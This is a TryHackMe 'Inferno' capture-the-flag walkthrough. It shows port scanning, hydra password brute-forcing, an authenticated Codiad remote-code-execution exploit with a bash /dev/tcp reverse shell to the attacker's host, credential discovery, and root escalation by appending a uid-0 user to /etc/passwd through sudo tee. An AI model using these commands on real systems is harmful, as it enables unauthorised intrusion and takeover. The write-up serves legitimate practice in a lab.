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Inferno | TryHackMe Walkthrough

Nihir Zala
5 min readMar 29, 2023

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Locate and find local.txt

Initial foothold

Nmap discovers 2 ports:

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d7:ec:1a:7f:62:74:da:29:64:b3:ce:1e:e2:68:04:f7 (RSA)
|   256 de:4f:ee:fa:86:2e:fb:bd:4c:dc:f9:67:73:02:84:34 (ECDSA)
|_  256 e2:6d:8d:e1:a8:d0:bd:97:cb:9a:bc:03:c3:f8:d8:85 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Dante's Inferno
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web enumeration

Gobuster discovers a hidden /inferno directory:

┌──(kali㉿kali)-[/data/Inferno]
└─$ gobuster dir -u http://10.10.131.118 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.131.118
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/05/05 14:02:55 Starting gobuster in directory enumeration mode
===============================================================
/inferno              (Status: 401) [Size: 460]
/server-status        (Status: 403) [Size: 278]
                                               
===============================================================
2021/05/05 14:31:32 Finished
===============================================================

Brute force the web authentication

Browsing this new resource requires an authentication (HTTP Basic authentication). We can assume that admin would be a valid user, let’s try to brute force the password:

┌──(kali㉿kali)-[/data/Inferno]
└─$ hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.131.118 http-get /inferno
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-05-05 15:01:41
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking http-get://10.10.131.118:80/inferno
[STATUS] 1669.00 tries/min, 1669 tries in 00:01h, 14342730 to do in 143:14h, 16 active
[STATUS] 1760.33 tries/min, 5281 tries in 00:03h, 14339118 to do in 135:46h, 16 active
[STATUS] 1845.43 tries/min, 12918 tries in 00:07h, 14331481 to do in 129:26h, 16 active
[80][http-get] host: 10.10.131.118   login: admin   password: dante1
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2021-05-05 15:09:23

Valid combination found: admin:dante1

Codiad

We land to another authentication page, that accepts the same credentials as the HTTP Basic authentication.

We are now in “Codiad”, an online editor.

I tried to modify PHP files and to upload PHP files, but it failed, as we don’t have write privileges.

Exploit

Searching for exploits affecting codiad reveals 3 exploits, 1 of which being an RCE.

┌──(kali㉿kali)-[/data/Inferno]
└─$ searchsploit codiad
---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                    |  Path
---------------------------------------------------------------------------------- ---------------------------------
Codiad 2.4.3 - Multiple Vulnerabilities                                           | php/webapps/35585.txt
Codiad 2.5.3 - Local File Inclusion                                               | php/webapps/36371.txt
Codiad 2.8.4 - Remote Code Execution (Authenticated)                              | multiple/webapps/49705.py
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                                                                    
┌──(kali㉿kali)-[/data/Inferno/files]
└─$ searchsploit -m 49705
  Exploit: Codiad 2.8.4 - Remote Code Execution (Authenticated)
      URL: https://www.exploit-db.com/exploits/49705
     Path: /usr/share/exploitdb/exploits/multiple/webapps/49705.py
File Type: ASCII text, with CRLF line terminators
Copied to: /data/Inferno/files/49705.py

Let’s start the exploit (notice that you will need to execute the 2 following commands in 2 windows: echo 'bash -c "bash -i >/dev/tcp/10.8.50.72/4445 0>&1 2>&1"' | nc -lnvp 4444 and nc -lnvp 4445)

┌──(kali㉿kali)-[/data/Inferno/files]
└─$ python3 49705.py http://admin:dante1@10.10.64.51/inferno/ admin dante1 10.8.50.72 4444 linux
[+] Please execute the following command on your vps: 
echo 'bash -c "bash -i >/dev/tcp/10.8.50.72/4445 0>&1 2>&1"' | nc -lnvp 4444
nc -lnvp 4445
[+] Please confirm that you have done the two command above [y/n]
[Y/n] y
[+] Starting...
[+] Login Content : {"status":"success","data":{"username":"admin"}}
[+] Login success!
[+] Getting writeable path...
[+] Path Content : {"status":"success","data":{"name":"inferno","path":"\/var\/www\/html\/inferno"}}
[+] Writeable Path : /var/www/html/inferno
[+] Sending payload...

Now, we have a reverse shell.

┌──(kali㉿kali)-[/data/vpn]
└─$ nc -nlvp 4445            
listening on [any] 4445 ...
connect to [10.8.50.72] from (UNKNOWN) [10.10.64.51] 34558
bash: cannot set terminal process group (1005): Inappropriate ioctl for device
bash: no job control in this shell
www-data@Inferno:/var/www/html/inferno/components/filemanager$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Inferno:/var/www/html/inferno/components/filemanager$

You’ll notice that there is a cronjob that will log you off every minute, so you have to be quick.

Lateral move (www-data -> dante)

Navigating through the files in dante’s home reveals an interesting file under Downloads:

www-data@Inferno:/var/www/html/inferno/components/filemanager$ cd ~/Downloads
cd ~/Downloads
www-data@Inferno:/home/dante/Downloads$ ls -la
ls -la
total 4420
drwxr-xr-x  2 root  root     4096 Jan 11 15:29 .
drwxr-xr-x 13 dante dante    4096 Jan 11 15:46 ..
-rw-r--r--  1 root  root     1511 Nov  3  2020 .download.dat
-rwxr-xr-x  1 root  root   137440 Jan 11 15:29 CantoI.docx
-rwxr-xr-x  1 root  root   141528 Jan 11 15:29 CantoII.docx
-rwxr-xr-x  1 root  root    88280 Jan 11 15:29 CantoIII.docx
-rwxr-xr-x  1 root  root    63704 Jan 11 15:29 CantoIV.docx
-rwxr-xr-x  1 root  root   133792 Jan 11 15:29 CantoIX.docx
-rwxr-xr-x  1 root  root    43224 Jan 11 15:22 CantoV.docx
-rwxr-xr-x  1 root  root   133792 Jan 11 15:29 CantoVI.docx
-rwxr-xr-x  1 root  root   141528 Jan 11 15:29 CantoVII.docx
-rwxr-xr-x  1 root  root    63704 Jan 11 15:29 CantoX.docx
-rwxr-xr-x  1 root  root   121432 Jan 11 15:29 CantoXI.docx
-rwxr-xr-x  1 root  root   149080 Jan 11 15:22 CantoXII.docx
-rwxr-xr-x  1 root  root   216256 Jan 11 15:22 CantoXIII.docx
-rwxr-xr-x  1 root  root   141528 Jan 11 15:29 CantoXIV.docx
-rwxr-xr-x  1 root  root   141528 Jan 11 15:29 CantoXIX.docx
-rwxr-xr-x  1 root  root    88280 Jan 11 15:29 CantoXV.docx
-rwxr-xr-x  1 root  root   137440 Jan 11 15:29 CantoXVI.docx
-rwxr-xr-x  1 root  root   121432 Jan 11 15:29 CantoXVII.docx
-rwxr-xr-x  1 root  root  2351792 Jan 11 15:22 CantoXVIII.docx
-rwxr-xr-x  1 root  root    63704 Jan 11 15:29 CantoXX.docx
www-data@Inferno:/home/dante/Downloads$ cat .download.dat | xxd -r -p
cat .download.dat | xxd -r -p
«Or se’ tu quel Virgilio e quella fonte
che spandi di parlar sì largo fiume?»,
rispuos’io lui con vergognosa fronte.
«O de li altri poeti onore e lume,
vagliami ’l lungo studio e ’l grande amore
che m’ha fatto cercar lo tuo volume.Tu se’ lo mio maestro e ’l mio autore,
tu se’ solo colui da cu’ io tolsi
lo bello stilo che m’ha fatto onore.Vedi la bestia per cu’ io mi volsi;
aiutami da lei, famoso saggio,
ch’ella mi fa tremar le vene e i polsi».dante:V1rg1l10h3lpm3

The user credentials are revealed at the end of the file.

User flag

At this stage, we can directly connect as dante through SSH using the credentials found just above.

┌──(kali㉿kali)-[/data/Inferno/files]
└─$ ssh dante@10.10.64.51                  
dante@Inferno:~$ cat local.txt 
77f6f3c544ec0811e2d1243e2e0d1835

User flag: 77f6f3c544ec0811e2d1243e2e0d1835

Locate and find proof.txt

Checking our privileges reveals that we can execute tee as root with sudo without password.

dante@Inferno:~$ sudo -l
Matching Defaults entries for dante on Inferno:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dante may run the following commands on Inferno:
    (root) NOPASSWD: /usr/bin/tee

Let’s take advantage of this to generate a privileged user:

dante@Inferno:~$ openssl passwd -1 -salt "inferno" "dante"
$1$inferno$vA66L6zp5Qks4kxIc3tvn/
dante@Inferno:~$ printf 'inferno:$1$inferno$vA66L6zp5Qks4kxIc3tvn/:0:0:root:/root:/bin/bash\n' | sudo tee -a /etc/passwd

Switch to inferno, our newly created privileged user:

dante@Inferno:~$ su - inferno
Password: dante
root@Inferno:~# cat /root/proof.txt 
Congrats!
You've rooted Inferno!f332678ed0d0767d7434b8516a7c6144mindsflee

Root flag: f332678ed0d0767d7434b8516a7c6144

Follow me on twitter : ZalaNihir

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Nihir Zala
Nihir Zala

Written by Nihir Zala

36 Followers
1 Following

Hi there, I'm Nihir Zala—a Laravel developer from Gujrat, India, with over 2.5 years of professional experience. I also learning Penetesting from THM and HTB.

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